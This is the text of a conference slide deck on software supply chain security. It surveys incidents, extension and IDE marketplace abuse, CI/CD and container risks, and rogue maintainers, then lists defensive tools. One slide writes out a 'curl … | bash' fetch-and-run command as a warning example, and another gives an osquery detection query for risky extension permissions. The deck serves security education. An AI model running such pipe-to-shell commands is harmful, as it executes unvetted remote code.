Beyond Software Dependencies: The Real Picture of Software Supply Chain Security

Beyond Software Dependencies The Real Picture of Software Supply Chain Security Anant Shrivastava

Anant Shrivastava ● Chief researcher @ Cyfinoid Research (Research Powered Trainings) ● 17+ yrs of corporate exposure ● Speaker / Trainer: BH/DC, c0c0n, nullcon, RootConf, RuxCon ● Project Lead: ● ○ Code Vigilant (Code Review Project) ○ Hacking Archives of India, ○ TamerPlatform (Android Security) (@anantshri on social platforms) https://anantshri.info © Cyfinoid Research 2

Question : Have you heard about SOFTWARE SUPPLY CHAIN SECURITY SBOM (SOFTWARE BILL OF MATERIAL) © Cyfinoid Research SOURCE COMPOSITION ANALYSIS TOOLS 3

Why? Incidences • SolarWind • CodeCov • Colonial Pipeline Resultant • EO by US President © Cyfinoid Research 4

Supply Chain issues are age old trust issues Ken Thompson talk about Supply Chain security and inherent trust in 1983. During the lecture, Ken outlines a three-step process for altering a C compiler binary to implant a backdoor when compiling the “login” program, all without leaving any evidence in the source code. He got the idea from an older US MIL document published in 1974 titled “MULTICS SECURITY EVALUATION” Ref● https://users.ece.cmu.edu/~ganger/712.fall02/papers/p761-thompson.pdf ● https://research.swtch.com/nih ● https://seclab.cs.ucdavis.edu/projects/history/papers/karg74.pdf © Cyfinoid Research 5

…and it’s not going anywhere anytime soon… In a report by European Union Agency for Cyber Security (ENISA), they state Supply Chain Compromise of Software Dependencies as one of the threats that gonna be at peak. Ref https://www.enisa.europa.eu/publicati ons/enisa-foresight-cybersecuritythreats-for-2030 © Cyfinoid Research 6

Effect across the globe in Govt Japan US EU India UK https://ec.europa.eu/commission/presscorner/detail/en/ip_22_5374 https://www.japantimes.co.jp/news/2022/05/11/business/japan-passes-economic-security-bill-protect-sensitive-technology/ https://www.federalregister.gov/d/2021-10460/p-54 https://www.cert-in.org.in/PDF/SBOM_Guidelines.pdf © Cyfinoid Research 7

Why now? • Software build automation == quicker release cycle • Automated release cycle == less wait for features • Faster feature release == less inclination to upgrade dependencies • Too much focus on OSS Codebase without helping the maintainers • Impossible segregation of features and bug fixes • Automated notification of vulnerability (hedonic hamster wheel) © Cyfinoid Research 8

Work done by Dependabot in last ~5 months Start of Feb 2025 End of June 2025 2451693 issues closed 120751 new issues created © Cyfinoid Research 9

What is Software Bill of Material Itemized list of all the ingredients in the software Ingredients ~ thirdparty components SBoM’s are mostly for one level depth only with other levels plugged in each other. https://www.ntia.gov/report/2021/minimum-elements-software-bill-materials-sbom © Cyfinoid Research 10

SCA Source Composition Analysis Tools Generate or Consume SBoM Identify Outdated Software Insecure Software EOL Product © Cyfinoid Research And more 11

Question : Raise your hands if You have SCA tooling in your organization? You follow vulnerability management practices for source code components? © Cyfinoid Research 12

Let the fun begin © Cyfinoid Research 13

Software Supply Chains beyond Code chain • We have focused too much on Software code itself • As consumers we are dealing with too many chain not in awareness • As a Company there are dependency chains far beyond code dependencies © Cyfinoid Research 14

What other chains? Any Software or application which allows 3rd party to add or modify functionality pluggable modules / plugins Extensions © Cyfinoid Research Theming customizations 15

A set of chain that existed 5 months back A developer uses a Chrome extension to manipulate AI prompts, which are then fed into Visual Studio Code through a set of AIdriven code completion extensions. The resulting code is committed to GitHub, where a set of GitHub Actions automatically run analysis and tests. The code is then containerized into a Docker image, deployed on Kubernetes, running inside an EC2 instance, built from a specific AMI. © Cyfinoid Research 16

A Chain that exists currently A developer uses an autonomous AI agent to write code by providing them a one liner prompt and full access to the commandline. The resulting code is committed to GitHub, where a set of GitHub Actions automatically run analysis and tests. The code is then containerized into a Docker image, deployed on Kubernetes, running inside an EC2 instance, built from a specific AMI. © Cyfinoid Research 17

Simplified Supply Chain view © Cyfinoid Research 18

Why do they matter PRODUCTION IS HARDENED, DEV NOT SO MUCH EASIER TO COMPROMISE LESS GUARDED PATHS © Cyfinoid Research SMALLER ORGS EASIER TO INFILTRATE / OCCUPY / ACQUIRE 19

Developer Machine : Why lucrative Lots of credentials and access Developers require a bit of lax security to get job done Exceptions in network policy rules Mostly will have admin access Multiple powerful apps (IDE, debugger etc) © Cyfinoid Research 20

Show me data don’t just imagine © Cyfinoid Research 21

Case studies: WYS Is not WYG Content delivered differently to curl and browser : Don’t curl | sh https://jordaneldredge.com/blog/one-way-curl-pipe-shinstall-scripts-can-be-dangerous/ Don’t pipe to shell https://www.seancassidy.me/dont-pipe-to-yourshell.html curl https://anantshri.info/fun/legitimate.sh | bash © Cyfinoid Research 22

Chrome Browser • By Google (claimed as fastest) • Installer runs without admin privilege (you can cancel admin prompts) • https://arstechnica.com/security/2025/01/dozens-ofbackdoored-chrome-extensions-discovered-on-2-6-milliondevices/ © Cyfinoid Research 23

What can a browser extension do © Cyfinoid Research 24

Cookie Monster • https://gbhackers.com/malicious-editthiscookie-extension/ © Cyfinoid Research 25

Visual Studio Code • Too many examples to count • https://www.bleepingcomputer.com/news/security/maliciousvscode-extensions-with-millions-of-installs-discovered/ © Cyfinoid Research 26

Visual Studio Marketplaces • VS Code extensions marketplace is only usable by MS Products • https://open-vsx.org “Extensions for VS Code Compatible Editors” • Just over 8 million developers depend on Open VSX across dozens of VS Code based editors including Cursor, Windsurf, Google Cloud Shell Editor, and Gitlab Web IDE • Exploiting a CI issue a malicious actor could publish malicious updates to every extension on Open VSX • Ref: https://blog.koi.security/marketplace-takeover-how-we-couldvetaken-over-every-developer-using-a-vscode-fork-f0f8cf104d44 © Cyfinoid Research 27

Homebrew • Google ads to bring traffic • Near replica of website • Serving install.sh with fake admin password prompt https://x.com/ryanchenkie/status/1880730173634699393 © Cyfinoid Research 28

Unexpected places for code execution https://manpages.debian.org/bookworm/apt/sources.list.5.en.html https://www.golinuxhub.com/2018/05/how-to-execute-script-at-pre-post-preun-postun-spec-file-rpm/ © Cyfinoid Research 29

Unexpected places for code execution © Cyfinoid Research 30

Notepad++ https://cybersecuritynews.com/hackers-hijacked-notepad-plugin/ © Cyfinoid Research 31

Notepad ++ Impersonation • https://notepad-plus-plus.org/news/help-to-take-down-parasite-site/ © Cyfinoid Research 32

Cursor oh Cursor © Cyfinoid Research 33

Rulefiles • Remember those CTF’s where flag was hidden in whitespaces • Just that but dangerous https://www.pillar.security/blog/new-vulnerability-in-github-copilot-and-cursor-how-hackers-canweaponize-code-agents © Cyfinoid Research 34

C.I. / C.D. Systems • Not just automation • Watch over the entire build or deployment practices • Essential Watchers in the current landscape © Cyfinoid Research 35

https://media.defense.gov/2023/Jun/28/2003249466/-1/-1/0/CSI_DEFENDING_CI_CD_ENVIRONMENTS.PDF © Cyfinoid Research 36

https://www.darkreading.com/vulnerabilities-threats/global-teamcity-exploitation-opens-door-to-solarwinds-style-nightmare © Cyfinoid Research 37

Container Images • Don’t install software • Download containers • Docker (ish) options needed https://www.infosecurity-magazine.com/news/malicious-containers-found-docker/ https://blog.aquasec.com/supply-chain-threats-using-container-images © Cyfinoid Research 38

Bait and Switch Package created with a good intent but later abused Wordpress free plugin purchased and backdoored • https://www.bleepingcomputer.com/news/security/backdoorfound-in-wordpress-plugin-with-more-than-300-000installations/ © Cyfinoid Research 40

Rogue Maintainers peacenotwar module sabotages npm developers in the node-ipc package to protest the invasion of Ukraine Overwrite all files with ❤ if origin is Russia or Belarus. Malware Civil War - 25 malicious packages in npm, with some posing as “colors.js,” and even an instance of malware authors targeting each other through a package called “lemaaa” designed to manipulate Discord accounts. Open source developer corrupts widely-used libraries, aWecting tons of projects - For packages color.js and faker.js, the maintainer pushed a corrupt update that triggers an infinite loop of weird characters. © Cyfinoid Research 41

So, what’s the plan? • A - Awareness: Identify and move unknown risks into known risks. • T - Trust But Verify: Every dependency, tool, and service should be validated. • O - Ongoing Monitoring: Continuous security checks to detect changes & anomalies. • M - Measure & Map: Build capabilities to answer real questions (e.g., how many machines have Chrome installed? How many plugins exist in GitHub workflows?). © Cyfinoid Research 42

Next Steps No matter how hard I try I will not be able to cover the full breadth © Cyfinoid Research 43

OpenSource Tool : SBoMPlay Demo Live: https://cyfinoid.github.io/sbomplay/ • SBoM Visualization tool • Privacy aware, client side only • No backend or server required GitHub Repository: https://github.com/cyfinoid/sbomplay Blog: https://cyfinoid.com/introducing-sbom-play-a-privacy-first-sbomexplorer-with-vulnerability-license-insights/ © Cyfinoid Research 44

Chrome Extension Auditing https://www.extensionauditor.com/ © Cyfinoid Research 45

End Point Visibility https://www.osquery.io/ SELECT * FROM chrome_extensions WHERE chrome_extensions.uid IN (SELECT uid FROM users) AND (permissions LIKE (‘%clipboardWrite%’) OR permissions LIKE (‘%<all_urls>%’) OR permissions LIKE (‘%tabs%’) OR permissions LIKE (‘%cookies%’) OR permissions like (‘%://*/%’)) Ref: https://medium.com/quiq-blog/detecting-high-risk-chrome-extensions-with-osquerybca1a8856448 © Cyfinoid Research 46

GitHub and Github Actions Basic Common Sense ● Signed Commit ● Protected Branches ● Force reviews for pull request approval ● Force signed commits © Cyfinoid Research 47

GitHub and Github Actions Tooling ● https://github.com/Legit-Labs/legitify ● https://best.openssf.org/SCM-BestPractices/ ● Implement allstar to enforce secure baselines in the organization. ● https://docs.zizmor.sh © Cyfinoid Research 48

Consumer : Vetting Process needed (Vet) https://docs.safedep.io/ © Cyfinoid Research 49

Consumer : Vetting Process Needed (Overlay) Overlay is a browser extension that helps developers evaluate open source packages before picking them. It gathers data from various sources, such as Snyk Advisor, Debricked, Socket.dev, and Deps.dev, and displays them on the package pages of popular registries like npm, PyPI, and Go. Install - https://github.com/osscar/overlay#installation Ref - h!ps://checkmarx.com/blog/software-supply-chain-security-leaders-collaborate-and-build-browser-extension-to-help-developers-choose-open-source/ © Cyfinoid Research 50

Cloud Auditing • ScoutSuite: https://github.com/nccgroup/ScoutSuite • Prowlet: https://github.com/prowler-cloud/prowler • Kube-hunter: https://github.com/aquasecurity/kube-hunter • Kube-bench: https://github.com/aquasecurity/kube-bench • KubiScan: https://github.com/cyberark/KubiScan • Kubeaudit: https://github.com/Shopify/kubeaudit • Trivy: https://github.com/aquasecurity/trivy • Cosign: Provenance : https://github.com/sigstore/cosign © Cyfinoid Research 51

Broad Visualization of Software Supply Chain https://github.com/SecureStackCo/visualizing-software-supply-chain?tab=readme-ov-file © Cyfinoid Research 52

Supply-chain Levels for Software Artifacts https://slsa.dev/ © Cyfinoid Research 53

OWASP SCVS ~ SSDF • https://scvs.owasp.org/ • https://csrc.nist.gov/Projects/ssdf © Cyfinoid Research 54

Open Software Supply Chain Attack Reference https://pbom.dev/ © Cyfinoid Research 55

OpenSource Tool : 3PTracer Demo Live: https://cyfinoid.github.io/3ptracer/ • 3rd party connection discovery via DNS • Privacy aware, client side only • No backend or server required GitHub Repository: https://github.com/cyfinoid/3ptracer Blog: https://cyfinoid.com/introducing-3p%e2%80%91tracerthird%e2%80%91party-mapping-in-your-browser/ © Cyfinoid Research 56

Can of worms that I have not touched © Cyfinoid Research 57

A scarier chain of events: Shadow IT World Your Biz Dev / HR / Finance person gets an idea, downloads cursor/windsurf/AI IDE, pays for 1 month of subscription by personal card. Uses the IDE to develop the application. Does deployment per AI recommendation in personal vercel / railway or likes. Either get admin to CNAME to a url or just make a url available as direct url in documentation. © Cyfinoid Research 58

References • https://openssf.org/technical-initiatives/software-supply-chain • https://www.cisa.gov/sbom • https://cyclonedx.org © Cyfinoid Research 59

Thanks for listening & open to Questions? NAME WEBSITE anant@cyfinoid.com EMAIL © Cyfinoid Research 60